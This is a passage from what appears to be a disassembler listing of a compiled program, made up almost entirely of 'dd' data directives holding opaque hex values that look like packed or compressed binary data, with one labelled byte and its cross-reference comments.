		dd 4ECF7F06h, 3DD00F4h,	82BA4B1h, 9800D843h, 0C38E737Ah
		dd 0F7598816h, 1F2320E8h, 407DE65Ah, 6C5ECAD6h,	921C561Ah
		dd 0CCA8FDACh, 84A21213h, 11069003h, 9D249004h,	788C0020h
		dd 4FF3361Dh, 3E00D8B0h, 0F0F29E4Ch, 585FB49Ah,	7CC24Eh
		dd 99FFD66Dh, 783BF6CEh, 680FA100h, 0A22C2D88h,	0A7010082h
		dd 0C19DC887h, 160F8B4Eh, 22BF6BCAh, 48FBFE52h,	77B42954h
		dd 0A61001D1h, 9C8E8472h, 796EC0B0h, 53D6D900h,	75F6239Ah
		dd 39731CE8h, 9D2B800Fh, 503A8289h, 9C70C00h, 0B9B05A98h
		dd 0EB1B00ABh, 0B79DF776h, 0B57F301Eh, 4224D300h, 59152E38h
		dd 0AE5A00B1h, 99CFD27Eh, 400F90E9h, 20EE665Bh,	0B4024C8Eh
		dd 0A61A0042h, 9FB5E41Fh, 36E4FD29h, 0FF4DA33Bh, 7C9573Bh
		dd 1B712CCh, 0D0F77CB3h, 3F5942Bh, 1B892670h, 44B0247Dh
		dd 7300198Ch, 991FBD98h, 37951Ch, 4C2D6D14h, 0B65C4990h
		dd 74311D00h, 2A3ADA7h,	4BDB00C5h, 0E46233A8h, 2500F5D7h
		dd 93AFCC1Ah, 78B1851Dh, 1E95004Dh, 7D1C405h, 197B5532h
		dd 34B26300h, 62C30E5h,	592F079Dh, 0D06E5A86h, 0BC4AAD45h
		dd 6F6A6000h, 9B054D64h, 0A4B0038Ah, 0FEBD76CDh, 0AC98FAA3h
		dd 3800996Ah, 48349E94h, 0F4D30116h, 3A24DEFh, 5E87BA00h
		dd 0A80C3B0Eh, 1422CE0Eh, 1C9DE0E8h, 2142B2h, 0CF121E6Ch
		dd 0F2BC98DDh, 78265307h, 8C30550Dh, 7B560Ah, 315449ACh
		dd 29626F05h, 0D4A62007h, 0EB538677h, 3022A19Ch, 7BAF6DCh
		dd 421802ACh, 8B0E206Fh, 0FA398AFDh, 85278975h,	1CC30004h
		dd 1EA5B2AAh, 4036FF93h, 0EF0250C7h, 0AF000146h, 8CE63A69h
		dd 7D74C1h, 0FE4B67EDh,	0D9FF851Bh, 2ACAB100h, 7269550Ch
		dd 2C6872CDh, 3FE7461Ah, 4D8AEF00h, 95BDE460h, 0BE393C06h
		dd 11887Ch, 0F4101B65h,	1149DD2h, 0B55A1C0Fh, 455FC032h
		dd 77270618h, 0B3880779h, 0B00B639Dh, 0DB3BB4CFh, 0A195F8C0h
		dd 3F625A3h, 2F87E74Bh,	0EB04C9Bh, 0DC00CED5h, 79F19752h
		dd 150B1FA8h, 18A6E52Bh, 4FD54D80h, 0FA19CC4Eh,	42184A7Bh
		dd 52ACD8h, 0C4BAF059h,	63169F5Ah, 0EF736EFAh, 0EB68B903h
		dd 0F835522Ch, 7F72A21h, 0BDB4B714h, 0B2F80FDh,	0AA00611Dh
		dd 63A7764Ah, 0F38F44h,	0C5E5136Bh, 0FEDA4B9Eh,	0A869D601h
		dd 0A20FEE96h, 0CFBC30h, 28E0EBDFh, 1112DB32h, 0FA90CA02h
		dd 40FB5CAEh, 4AFD6Ch, 5D92F722h, 45962D03h, 0BB30BF00h
		dd 772BB7B4h, 683A0043h, 0C8557A34h, 0E8004B42h, 597511Fh
		dd 719EE7Ch, 5C9FE627h,	0BF2A9008h, 2100034Dh, 0CE8BB96h
		dd 756E3624h, 0ED4617B4h, 8C650009h, 0D41C87ACh, 3F00FC78h
		dd 578617EAh, 59A79Eh, 40233666h, 0FB011AFh, 1D2AF407h
		dd 0B7A055DDh, 6CB2A8h,	0A7D55A65h, 34A339E1h, 0E7BEED0Eh
		dd 0EFC0E00Dh, 0FAF6B9FFh, 0C1EC1354h, 0F95500F0h, 3DFA9394h
		dd 3E5B5E00h, 0F3734A9h, 0B51B007Ch, 0ED1E2B91h, 93E8BD1Ah
		dd 384E800h, 0C36C5B3Ah, 576D00EBh, 8AF74BDEh, 0BD00C4D3h
		dd 0CCFDED81h, 271F2Ch,	11C7F406h, 649B9856h, 2A32E300h
		dd 173F50C4h, 0D155010Fh, 6A133A0h, 0E8B820ADh,	8354Ch
		dd 961D5129h, 0F94FF64h, 0CBD4B02Dh, 378A28A0h,	90795CE9h
		dd 9FF33A3Eh, 8200DE7Ch, 4DBB0B36h, 3F851EE8h, 0B5B24039h
		dd 0E29991E3h, 7120FA4Dh, 0BB303273h, 0AA346A20h, 3A850180h
		dd 1078E02Dh, 0A4F8C7B7h, 550031ADh, 0B67A9996h, 77F951h
		dd 683DE08Dh, 0B9368B0Fh, 3F766F00h, 6C20D0D8h,	985E0E3h
		dd 81B7F3C3h, 0A9BDE803h
		dd 0DB287B98h, 0F601B8F8h, 56456DE8h, 0AAFCD4D6h, 86AC2E85h
		dd 0AF1F0017h, 0F349CA14h, 3607BC90h, 0D82F8AD4h, 0CE658F00h
		dd 48760FE1h, 0B700FBD7h, 7114C511h, 24B3B93Eh,	9300345Dh
		dd 36E0FAD1h, 0C171F12h, 0FF0E407Ah, 2A34439Dh,	0A9C8C300h
		dd 92139839h, 6993001Ch, 37117854h, 9B0F03D6h, 0A0803D77h
		dd 443F0DF2h, 0E98800CCh, 92ED407Dh, 0FEED1E61h, 57B0CC90h
		dd 2F12AF12h, 6B790402h, 0CE66C0F0h, 0EB4D0078h, 90D86AB7h
		dd 0B6008AB3h, 8D65BD74h, 3895046Ch, 3180E43Eh,	0B955308Eh
		dd 0C50FE0A3h, 20473A80h, 96D165A2h, 86E900D8h,	1A22CCAAh
		dd 0B4004ADAh, 84A05711h, 129B77h, 17E4D7BBh, 5E0A6979h
		dd 3DEE5C03h, 886EC895h, 3B342E15h, 6B80BD55h, 0E3F39E53h
		dd 8001EC1h, 0ADD4AB9Ch, 309AC71Bh, 24D19388h, 7814F74Eh
		dd 1C408E9h, 0E29B1C6Eh, 71F0A32Fh, 0F10A00EAh,	60ED8AE5h
		dd 780786C2h, 444B4E13h, 7DFBA00Fh, 5015FCh, 1FC894E6h
		dd 3DB9B7E1h, 93843600h, 0B6BA32E7h, 57351C1Eh,	20720D7h
		dd 2B63D103h, 0B0437EB5h, 0E8D56D56h, 1CFDB379h, 2CCE899Eh
		dd 47BC0048h, 72AB6C33h, 8F3C5B18h, 0EEA463A8h,	209292h
		dd 27451E15h, 2B447665h, 2814A91Fh, 80BE630Fh, 58C83BD1h
		dd 3A3F0067h, 1E7D0E72h, 400335A4h, 9C065FC7h, 0B802E042h
		dd 0AF6E338Bh, 0C800798h, 10013F49h, 0BA377BC0h, 25F0FE24h
		dd 0CC840520h, 0A55BACh, 92950E48h, 5DF8B483h, 0E581B01Eh
		dd 77540580h, 59337BCFh, 30AB04Dh, 80B8659Ch, 2B423C7Eh
		dd 0AC00B518h, 4DE47C28h, 0C53AC0h, 566ECD4Ah, 0B99A91ECh
		dd 27C39F00h, 0CFA92190h, 2F5D008Fh, 66E10918h,	9D00481Eh
		dd 2EFA36F8h, 0F073863Dh, 63170049h, 5C7555F1h,	0A300AEFCh
		dd 4EC29715h, 962A02h, 88938E17h, 0ABDF670Fh, 0F6CDE500h
		dd 0AE29AD5Eh, 0F8AC0521h, 9F3ED5h, 8EC9B7E2h, 0AD00EA3Ah
		dd 6FE5683Ch, 0DA0A19h,	81415BF7h, 8F1863D5h, 9E56A201h
		dd 0EE483CE9h, 0F1F6DE4h, 64AB477Bh, 27837D40h,	0A400164Dh
		dd 1790E572h, 0D7EF18h,	0D6F97EFDh, 0F55B846Ch,	9821BA05h
		dd 980161E0h, 438A344Dh, 0BC50A454h, 0FB1CE004h, 1E28C0D8h
		dd 0F93FF5BBh, 93AEC414h, 0D58A00ACh, 1CFBFFACh, 678C038Eh
		dd 57F61D72h, 44FA2939h, 927344A9h, 22687B20h, 46504290h
		dd 0EC44F128h, 0DD14A0A6h, 92204063h, 85DE2284h, 0A5E410EDh
		dd 0BC44009Ah, 0DF8F3AB9h, 0C4B02DBFh, 0D10050F0h, 1A2B9807h
		dd 0A0BE57h, 7EC5D706h,	1FA274EBh, 0DC6EC400h, 0BCCC4CD9h
		dd 0AD04075Ah, 10DB9067h, 0A3387AD4h, 5922D307h, 0C0BE7D47h
		dd 94D043E8h, 0AE8602BDh, 5D21198Dh, 1D64ECC0h,	1FA39540h
		dd 8FA827E2h, 0C6A38E07h, 2100EE52h, 18DF3B4Fh,	151408C7h
		dd 0D003E5BBh, 37DEBD00h, 0F4C81A67h, 0DDCB0400h, 73C3F0A2h
		dd 63440E0Ch, 6FE69C3Bh, 0E4FAAE7Eh, 64798A00h,	0B04F545h
		dd 0B1A20055h, 486E9DACh, 0CF245446h, 4E83F4E3h, 0F0A2EA58h
		dd 0E20CD0B9h, 387C35h,	0E15BB1C7h, 0F74D3A0Dh,	0B576FA1Dh
		dd 1100F0ECh, 0D31E1A12h, 0B1EA00A2h, 4195128h,	0A07F5460h
		dd 0ECA3C903h, 0A8A59A0Fh, 77977Ch, 96E0594Eh, 1F6C3CE2h
		dd 87D7D100h, 0D07CAD29h, 1DC77CBh, 0A52C5543h,	70547ACCh
		dd 0CDF046DCh, 397B91F8h, 0D80EC22Ch, 83A0E600h, 18315CA1h
		dd 1990EAF2h, 8705EED9h, 5310BCB7h, 6A33DC80h, 0F79E00C3h
		dd 0C9690E93h, 0A70081DAh, 0CE3964F1h, 233F515h, 0C72C7452h
		dd 6A40186Bh, 0D4B0B05Ch, 65FDFF00h, 37912812h,	0E134009Eh
		dd 0CF645FBBh, 0A1003E4Fh, 924AB013h, 5AF1DF6h,	0E3D17D71h
		db 4
byte_520045	db 0, 0DCh, 14h		; DATA XREF: ___:004385A0o
					; ___:004385B8o
		dd 5C976EA3h, 8FA4D40Fh, 0F884F3Eh, 0F60937h, 73B12B41h
		dd 9D3300CFh, 10A847C8h, 52FE23E9h, 535FD600h, 5921CC69h
		dd 0EB010B83h, 0C000C59Bh, 0A55284D8h, 0AEE09494h, 1A6F57h
		dd 0F8E2D786h, 94D19FA4h, 0D9317713h, 0E07211h,	0AD3E4082h
		dd 160F51Dh, 0D39D88A9h, 2401A429h, 2C00A830h, 0DA16A3C3h
		dd 0C25532h, 0B5670907h, 269E237Eh, 47E89F1Fh, 40FA80BBh
		dd 0C8AD0E2Fh, 6C5D00E2h, 94B211A9h, 904CA085h,	1F78091Ch
		dd 629821D4h, 7EF9DCDAh, 7915FDD4h, 0F7E60076h,	80CAF557h
		dd 0F0001069h, 7B0A3D1Eh, 2715FBA6h, 1F60E6B0h,	9A009218h
		dd 9374637Ah, 78D16236h, 0E2C300C6h, 0FB511A33h, 961C0167h
		dd 28010E8Fh, 3C0B23ABh, 5382CCh, 184354Ah, 0B313AACFh
		dd 9A197E00h, 82029BE9h, 116B0F25h, 0F640206Eh,	0F350B5F8h
		dd 59CA7209h, 319800D4h, 0B788E7Fh, 0D82D532Ah,	79E4A080h
		dd 0E312521Dh, 680013E2h, 14128CEEh, 85700042h,	7FB4A821h
		dd 442C5007h, 0FB0A3679h, 990EFB5Eh, 2C0093B3h,	0AC544188h
		dd 0A6D60148h, 397CF4A1h, 68FF082h, 4720DE00h, 0A30A532Fh
		dd 190900B5h, 9BE0E172h, 3D00298Ah, 0BBB46C0Dh,	12F75B24h
		dd 817006h, 8AFDE92Bh, 2B003936h, 5A720D6Ch, 416407h, 0D291A060h
		dd 77BF2E27h, 0EF60807h, 49436602h, 618192FEh, 0D82994FCh
		dd 28B4C202h, 24400C42h, 2C9010FBh, 85A13C04h, 7CC0B572h
		dd 27F0111h, 16679364h,	70607BE3h, 2E000313h, 921B0754h
		dd 0E1D529BBh, 8DD8101h, 0CA6C3CFCh, 7D02DA00h,	31F10C3Dh
		dd 999A5500h, 0B489A614h, 0B754094Ah, 908091D2h, 104FE2CAh
		dd 1E09E303h, 130E888Bh, 0CCF32F0h, 5040F0DBh, 0B42D8609h
		dd 7A91A0B2h, 0F2C44E3Bh, 0EB9800DDh, 6A03833Eh, 0D00035B8h
		dd 0ED814D1Fh, 652E90h,	0FFA7746Fh, 4751CE7Ah, 0BB21E403h
		dd 0E0F5DAAEh, 0E095BD07h, 1DE27799h, 40F43E98h, 128F0D69h
		dd 6A0E51B8h, 628962BDh, 55994657h, 50E4C640h, 31493Fh
		dd 9C52D4C7h, 0C115A4h,	0D2FCAA43h, 9D65B986h, 8EBB5B03h
		dd 0B0E98C99h, 0B30C14h, 23810EDCh, 0F183879Bh,	8C55A300h
		dd 7D0A9579h, 0B05490D6h, 0C5B51C86h, 0A5817C3Dh, 0AE303E5Dh
		dd 1FCCE43Ch, 5178709h,	1BCB079Bh, 0F7495E70h, 223E47Ch
		dd 5C9912A2h, 7460CC5Dh, 2C128475h, 540033E8h, 7FB9FD54h
		dd 6AFC60h, 81725F67h, 0D7DEA34Ah, 0AC73B07Eh, 565DEE04h
		dd 50801D3Dh, 0F21120Ah, 0E79C6387h, 7C37F5E0h,	46009DADh
		dd 0A1225E16h, 1E6E3C09h, 40317588h, 0EF19BE45h, 0EC98489Ah
		dd 4CC24700h, 844DBF21h, 0CE6500E2h, 0AE11F601h, 0E0007149h
		dd 19065534h, 727F7B91h, 8B2B006Ah, 96CC66E6h, 0A40062AEh
		dd 1A50749Dh, 0F4DEB8E1h, 0F18500E2h, 30AB9BCAh, 0EE00FA55h
		dd 0FC9F5097h, 95046Ah,	403B80D6h, 0EDABB971h, 0D2006B90h
		dd 8EEFC105h, 4869AD82h, 7E01A07Ch, 4A8F30B4h, 6A108995h
		dd 0B021009Eh, 0C8FFD4h, 12C2D206h, 4887D377h, 0C9B5140Ch
		dd 9B7869h, 1344393Ah, 0B35F5E97h, 6C74F51Ch, 6B208A98h
		dd 5039002Ch, 251F0248h, 0A800B22Ah, 0E1DEB065h, 6F6003h
		dd 390CCB18h, 55951BE3h, 0D48F0B00h, 0BC6796E9h, 4BDCBA46h
		dd 4FC0235Dh, 0F698F7F8h, 0BFF23200h, 0AEAB6906h, 27DA0192h
		dd 2C5B8C79h, 482CE3h, 0FDB38BF8h, 0AF2734Fh, 5B229C19h
		dd 0CD1B00D8h, 513B17C3h, 0F126B11Dh, 4441E11Dh, 5B164B43h
		dd 76649056h, 724601AFh, 0B8563BB7h, 2D582405h,	6C91FA00h
		dd 0CDB135A3h, 45D90FC5h, 5F01A66Dh, 0C0AF9687h, 0F70EFE63h
		dd 40A5714Fh, 0A60B412h, 342A003Ah, 9E44F424h, 9C081109h
		dd 0F3592C4h, 0AD2566BCh, 0E408CD3h, 0E9880A00h, 835D36BEh
		dd 5DF0071h, 3A32AC1Ah,	8E00F8CBh, 65ADAEAFh, 3F51CA39h
		dd 0A4007F2Fh, 0F826294Dh, 8D00852Eh, 8CFCA190h, 0B0FAFF67h
		dd 6C2F0094h, 23D443Fh,	0E013EB09h, 920E7C27h, 0D56DA004h
		dd 0B5A055h, 8B16B018h,	5759FFAAh, 3900CA7Eh, 0D5445483h
		dd 3955A6Ah, 582EF012h,	80ED1B45h, 0A961DBA4h, 0E40C8A00h
		dd 71DCA2C0h, 73A601AEh, 26236E35h, 0A354ECCBh,	0AFBC9806h
		dd 16F9AAC2h, 0AD88F7h,	6746EEB8h, 0FB3E09EBh, 9D6E0075h
		dd 0BD7CA2BCh, 2BC20F7Dh, 0CC6EE57Bh, 713DC327h, 2049F508h
		dd 7400C458h, 831E271Dh, 0E15C7Ch, 45549551h, 0B52EA76Ch
		dd 0BA06CA00h, 68A51727h, 0EB9D000Eh, 45AA87D5h, 405C307h
		dd 0B3DE601Ch, 7F6024C7h, 2D3306h, 0A4D8FF16h, 0C446B1A6h
		dd 60634D00h, 2CD41E9Fh, 9EEF1DB8h, 4824808Ah, 4A1C3176h
		dd 4C3648h, 7A5366C4h, 488D5CC7h, 0CC2C2710h, 9C3D0B50h
		dd 0D0BA2F80h, 0AF020216h, 15CD8EF7h, 4B6060F9h, 0C12A000Ah
		dd 0DD230309h, 0B916D10Fh, 4C00FCF8h, 0BE0CBF51h, 7860592Ah
		dd 4E2E1500h, 4CB613Eh,	5D076C98h, 1ECEC377h, 5501E0CFh
		dd 3302416Dh, 4D2007ABh, 0E71C9A88h, 0A8630F09h, 0FFDF07D8h
		dd 4F213ED0h, 6DDF3DBFh, 0B661AF82h, 0E480700Dh, 49F2F8C8h
		dd 14540E03h, 0B903316Dh, 3EE0B4ECh, 21F0766h, 41884F20h
		dd 0F0181A90h, 5B7C35A4h, 650D7300h, 42E481C1h,	44792C8Bh
		dd 0A7E90005h, 187AD5E1h, 800CC938h, 289AD63Fh,	0E41549EEh
		dd 0F8961268h, 0DC1ECCh, 0E5169C58h, 0A9001381h, 0DAF184EDh
		dd 0D89CB39h, 8530A0D0h, 0BA8C05B2h, 0B7FA7AC0h, 7238099Eh
		dd 83015668h, 0C70EB5A6h, 986FC0B7h, 0CF264FE0h, 150022BFh
		dd 0DEAFC93Ah, 82D9A06Dh, 2D3E00AAh, 0DF20E19h,	920038A7h
		dd 2A700349h, 121DD520h, 75D898Dh, 0F07FD784h, 0B0AE0FDBh
		dd 0C75738h, 60FC8C98h,	1D0523h, 36D9C1F4h, 3E537ECAh
		dd 0AB016D06h, 0A0120FB3h, 0FC28EA1Ch, 1157004Bh, 64161209h
		dd 0E1EEC503h, 8B493006h, 78210Eh, 0C61ADADEh, 6C718660h
		dd 827AB0C8h, 31E4E943h, 4478C4EAh, 0EE6AB700h,	6E87E74Eh
		dd 80C500D1h, 865944CAh, 0CCF39604h, 0FD721BEDh, 78C78B1Dh
		dd 0B8ADCEh, 0F82C1D17h, 87F70073h, 0AA70D77Ah,	240706FDh
		dd 58F4BE15h, 8D54CB53h, 0A075B0E0h, 5B5E2044h,	24C04B0Ch
		dd 80A45D08h, 0F3C1E289h, 0F5006944h, 277B29E5h, 0C9E835Eh
		dd 4BF16231h, 4228C0E8h, 0A005B08Eh, 6DD1D3A2h,	8CC1D301h
		dd 9EDC0D33h, 8A9A005Bh, 0B7F84026h, 7158E4CEh,	0E38907DDh
		dd 204CC917h, 1B970F64h, 37807B7Ch, 6B322BCFh, 755B7001h
		dd 84949D12h, 0B427B0D7h, 90790B61h, 0A581E13Ah, 0F825A15Ah
		dd 0F839C2A5h, 8041BB89h, 0A9AC84DDh, 988FBCCDh, 6A06010Bh
		dd 46490DA8h, 503CBDh, 0C7BA31ECh, 31D52EFh, 14760E3Dh
		dd 19B6C73h, 1E41D2C8h,	1D7948h, 8AFEB484h, 61B571h, 77297FE6h
		dd 33014617h, 8F00C4ECh, 0C567CA0Bh, 8695BEh, 55DDCB2Fh
		dd 0B101D646h, 51FE7603h, 0E06F6BF9h, 28CB94CAh, 41A08C0Bh
		dd 4383696h, 1BEDF30h, 77F030C7h, 3890E855h, 0A281A528h
		dd 6B7C4980h, 0A9DEF861h, 400001F2h, 0CE7BAF77h, 0B8354CE0h
		dd 7AAE1E99h, 256340D8h, 15E73EBBh, 6605DA3Bh, 10A1B6h
		dd 0FF1D9B53h, 0DE87ED2Fh, 17D39D00h, 207A0C19h, 214B8C0h
		dd 66A6BA67h, 0F8C8AE58h, 0A2606157h, 0D6B14240h, 0D96F1682h
		dd 3FF00028h, 914CACFCh, 10BF1200h, 0AD09B984h,	53E00Fh
		dd 3A0C58D6h, 0D1CA0362h, 83E38103h, 8823F4B0h,	2C311Bh
		dd 0B5EA9382h, 9B6A6188h, 0C7D50A0Fh, 92A90477h, 0B0C00EC5h
		dd 7D1F2FAh, 34538F64h,	0B1670F40h, 0BEB880FEh,	6D4AC7CDh
		dd 0F595FC00h, 12CDF4Ah, 0CC14EAC6h, 8EB59DF1h,	20814010h
		dd 474A9CABh, 0D61F002Fh, 7A4D35E7h, 0E3F295CDh, 2C30BA00h
		dd 0AA6D9F1Ch, 98DD17B5h, 0CE181434h, 4D202800h, 22F4A6D6h
		dd 64CB0717h, 98645C8Dh, 0C01117B6h, 0E905C06h,	664FB733h
		dd 175F4080h, 6505CEB3h, 875D4F38h, 79B094C0h, 0C0C04D6Dh
		dd 0FD074701h, 0F8EA135Bh, 65EC09B2h, 3A3DA090h, 13C95C27h
		dd 22076F1Dh, 4AF0C9ACh, 0EFA4490h, 4D267A8Ah, 30686CA0h
		dd 7F007ECBh, 6140F3BAh, 0AEFC24h, 0BCCC574Eh, 0B2C24A56h
		dd 0FF6BD000h, 0E1759084h, 550A1635h, 0A9D4008Eh, 0CF45093Bh
		dd 870F9B2Dh, 66C08604h, 0FC3D3957h, 241FCFFh, 6C17A3E5h
		dd 70C92088h, 2B4AC4FCh, 1C00C54Fh, 1EEAF685h, 0FE75B2h
		dd 9489B874h, 3C53E8E0h, 2B951C00h, 4BFA2138h, 63200091h
		dd 45F0B927h, 8C04E2BFh, 0FDA669ECh, 5B87EC80h,	0C3318028h
		dd 10C0789Ch, 7A627B3h,	79CBD9E6h, 0C4D5CE57h, 0B136C300h
		dd 0B866F6A4h, 0F2F3EE03h, 0E8E88A4Fh, 44249Bh,	43FF6FD0h
		dd 0B97F87B3h, 1300EE74h, 2384F007h, 30FA770h, 14E95B31h
		dd 2000A5B2h, 0ADC62B7h, 9883DBh, 26656695h, 47850E4Bh
		dd 1F198C00h, 0DFF56CEBh, 0DE144C61h, 41910C01h, 0EC9209A6h
		dd 0E3004950h, 2ADEBBA9h, 2393E4h, 9BF1CE5Ah, 0D1C8E147h
		dd 444B1900h, 5F7069C0h, 910625C2h, 0EDD70C0h, 0D23C8400h
		dd 6A1A9EE8h, 0D1930104h, 149CE6D8h, 4C807FD3h,	0C5DB63h
		dd 8DEBBA18h, 77FADE5Dh, 95C3C100h, 9E2D2E71h, 54101A2h
		dd 0BB9DF760h, 9C60EEE5h, 0AA00EFBFh, 7CB838B9h, 735ABC9h
		dd 3CDDD75Dh, 179F10C7h, 3A00B9DCh, 6903DFA9h, 161A50B5h
		dd 0E930E2Ch, 44C29F3Ch, 77400A20h, 4E02C845h, 69EF837Ch
		dd 0F9DC8003h, 0B91F33h, 1EA3F401h, 5D968790h, 0AE04B000h
		dd 0D4817A67h, 8E5000B6h, 0BD37C411h, 8A00F920h, 4C046E6Dh
		dd 550BFEh, 0CBCF8F57h,	0F63471B2h, 3466339h, 0E3B09BEh
		dd 2311009Bh, 7D88DC06h, 323CC789h, 4AF400A1h, 91C5E854h
		dd 14989562h, 0CB5B71A9h, 3E40101Eh, 68B2CD5Ch,	0FDFB024Dh
		dd 52B02315h, 78A6EAE0h, 0F9F02900h, 0EC6CC4F6h, 517012h
		dd 17042EF2h, 5AFF61DAh, 0DE3A8B12h, 0F0F19200h, 90C51CD7h
		dd 68551D67h, 1B2F87EBh, 4E996085h, 3BF0DF9Eh, 18153Dh
		dd 776A324Ch, 5AF13Fh, 0D9A349EBh, 455016ADh, 4000E07Bh
		dd 53A1B262h, 2C21DAA7h, 4D00E09h, 5F33FF9Ah, 6081905Fh
		dd 98356873h, 2840FC45h, 69D6B88Dh, 0CF6500E4h,	6DF582E3h
		dd 403DE224h, 963FFA2Dh, 616980B4h, 22D2E104h, 3DE80210h
		dd 0C1FA0123h, 0FF0F9C8Bh, 851C0E80h, 0B800C4AFh, 0E7E3C94Eh
		dd 0F030D9h, 0BAAA5844h, 0CF7E0506h, 29286907h,	30214308h
		dd 0E0EF5920h, 0BE8DFFh, 485E3334h, 0F85CA916h,	14BCA800h
		dd 0A647BACAh, 0DB7AD5h, 97CE33F4h, 635E3494h, 45913200h
		dd 9ED29FC0h, 0F30909FAh, 8318B6h, 0CAF05149h, 8500F40Ah
		dd 2BFE1EE2h, 0ED80D8h,	0E1F95006h, 63B0C44Dh, 0EAFFAE03h
		dd 0B875933Eh, 3D157380h, 0F64401h, 9490A07Ch, 0D636C2D1h
		dd 6720507h, 5170B492h,	0E6172DD7h, 5B113D68h, 0BA104D8Fh
		dd 4BDF9A80h, 0E20EB1A0h, 0A3CAF901h, 0D841F282h, 772ABF55h
		dd 4AF103A4h, 74262386h, 47789F98h, 75490900h, 7A3E2479h
		dd 20420254h, 25596A58h, 0A37EFF87h, 0AFCC6741h, 22446180h
		dd 6F60003Eh, 3DA8B2BEh, 3C6E737Dh, 6A74360h, 3B70B6F6h
		dd 75800177h, 810739C4h, 18CCEBBDh, 440F11C5h, 67811C9h
		dd 0E8D648h, 73A7A63h, 0A9B550h, 0CA5E3856h, 0AFF6DFBDh
		dd 4A115B00h, 75B02122h, 0CFFCC5h, 73E7E8CEh, 8BAFA7FCh
		dd 0F46D400h, 0D24887FDh, 0A9B62A5Bh, 1E3F7280h, 0A5F19Fh
		dd 5ECA2EE3h, 50E82638h, 3F10E20Ah, 590A10E1h, 41001C8Fh
		dd 0A80EFD17h, 0E80205D1h, 0C03843D9h, 1BBC8316h, 0CF3C1305h
		dd 0CBC0DAB1h, 0B48AE5Fh, 0AAAC192Ch, 0E1A1B80h, 0C83F7F7Ah
		dd 80B4B963h, 62CBC043h, 873E05h, 0E26728E1h, 2B895C21h
		dd 33BBD100h, 3643C582h, 5EA900E9h, 0BE087856h,	9500E887h
		dd 98969D60h, 1F25A417h, 0EE7CF8h, 0BAD61CAEh, 0A91D57AAh
		dd 558046F2h, 1054E343h, 4A3300C5h, 1ACE76C3h, 2D000B8Dh
		dd 5F36D51Eh, 0D06101h,	60B0551Bh, 0E89C40A3h, 0A403E600h
		dd 7548B28Dh, 1574387Fh, 5CD66187h, 33A1803Bh, 9500F771h
		dd 2E3CD75Eh, 0FCB23160h, 196E152Bh, 0C430A0BDh, 0B7488C80h
		dd 3F33D4B0h, 7F70867h,	96CE621h, 3872012h, 1A1FF1EDh
		dd 24A0FA4Fh, 4030ECFFh, 52EF5A5Ch, 0A849C51Fh,	0F4A92C07h
		dd 7263B3E0h, 0DBAD027Ch, 282AC042h, 20809CE2h,	0CF347DB2h
		dd 1FAF40C0h, 1ACA95h, 2C5C789Eh, 21C04011h, 398BDF01h
		dd 0A5C518A6h, 79F12080h, 99826922h, 270820A7h,	0D949C00Dh
		dd 3D60A98Dh, 0B2720AB1h, 26A80338h, 5FA7AA55h,	0D9220818h
		dd 6B6720h, 94629B2h, 68CFD32Fh, 161D4092h, 8F43751Ah
		dd 7A6AB85h, 0DFC75964h, 0D94861F8h, 76344881h,	0A81CB204h
		dd 18325986h, 0B26F6320h, 0E2573A84h, 74BA6181h, 8316A891h
		dd 487B921h, 4557A0A2h,	0E10F3C68h, 0D97DC081h,	0D8CBB85Eh
		dd 0C830EC13h, 1792A199h, 6AF600EAh, 0FB275E91h, 0C0076E2h
		dd 0A614B0B5h, 761626D1h, 20800059h, 2E7A4F0Dh,	98061BAEh
		dd 0F3026CC0h, 52A40948h, 1480E638h, 7C9D0779h,	2806EA3Ah
		dd 0A400E494h, 0FCE6B234h, 0C25BD12h, 10A9565Fh, 400397B9h
		dd 0DAB23E9Dh, 22BA873h, 4F3F1F0Ah, 0CD1DFD85h,	297C841Dh
		dd 270C80BAh, 0FE49756Bh, 0A91013Ch, 0B70A850h,	12112424h
		dd 4EA6261Dh, 7D1473Ch,	0C93005AAh, 8040A0D5h, 4280B1E7h
		dd 103C9077h, 6245893Dh, 32B4D60h, 410024A7h, 235BEF3h
		dd 74260B44h, 0D031017Ah, 0E5EC9271h, 0B6698642h, 5830DB9Ch
		dd 0D60C912Ah, 8411C9D3h, 4A7E8F00h, 26C566E2h,	0C4353A59h
		dd 5E21B030h, 0B6007E83h, 3DAD278Ah, 0B845FDDFh, 0A3F1295Dh
		dd 7E8B0124h, 1886E25Eh, 9F9A88B1h, 994E7E00h, 521F1025h
		dd 854D01AAh, 0C5B34E5h, 0D178345Ah, 0DD281AB0h, 3E07AC42h
		dd 59AF02DBh, 9CD4D634h, 150F404h, 41E63430h, 1559C423h
		dd 3000B843h, 0BBF7E6AEh, 1B021A15h, 6D4C4A0Bh,	0F2046919h
		dd 8A0E8h, 6313CFD5h, 84D899FEh, 0B3E494A5h, 4E6E1C60h
		dd 66C85315h, 368C01E8h, 0B3F26F1Fh, 9A329CECh,	2694664h
		dd 4889105Fh, 10DB316Fh, 2E1057FFh, 0EDB42Eh, 0C1A72555h
		dd 9B1D0A18h, 29B0E46Bh, 6964BBDh, 10744F5h, 5F4668C2h
		dd 1E105516h, 34FDD560h, 96D80DEh, 79FA5756h, 0FB0B5000h
		dd 11EAB486h, 0C43E05D9h, 40400C34h, 0AA68E2ACh, 0B1007A7Dh
		dd 9A5BF1F0h, 16F76D5h,	1C221444h, 50AED3ECh, 3986E690h
		dd 37CB300h, 0C622365Eh, 9FFE1C83h, 734E8326h, 71E83787h
		dd 5349C097h, 0E61D80E4h, 8C51C478h, 31894A60h,	12DE6A3h
		dd 3B5FFBB1h, 0ED639BDEh, 0DA2EF001h, 656C80C1h, 0E980A772h
		dd 0B3A2C93Fh, 480141CAh, 0DA281693h, 65DE6E7Bh, 6018E4B4h
		dd 7155206h, 0B7E53AF9h, 23AE80EEh, 30B1A7EDh, 0C9813804h
		dd 0A98EE4C0h, 0CA89DCC0h
		dd 0C0D06A2Bh, 48881058h, 0F7225746h, 10500200h, 6A650564h
		dd 976D093Ch, 6420F904h, 0D754A1DEh, 526CC300h,	252C47CBh
		dd 0B03D077Bh, 0D27A834Bh, 4C4867CFh, 0B500021Bh, 31D651F5h
		dd 0EC0791BBh, 9DDB0065h, 0B6E75DEFh, 0E629528Fh, 0DB715409h
		dd 4C007118h, 7CFD9F06h, 798487C3h, 0F6190470h,	0CC04A3C9h
		dd 48CAD48h, 0E25F7E8Ah, 20AD620Eh, 9F7E828Fh, 12D47048h
		dd 180473E2h, 1E31015Ah, 0E9C4F0E6h, 40220643h,	0E6B03200h
		dd 8F6B777Eh, 130200D4h, 4033DDAAh, 0FE0C8278h,	70DED523h
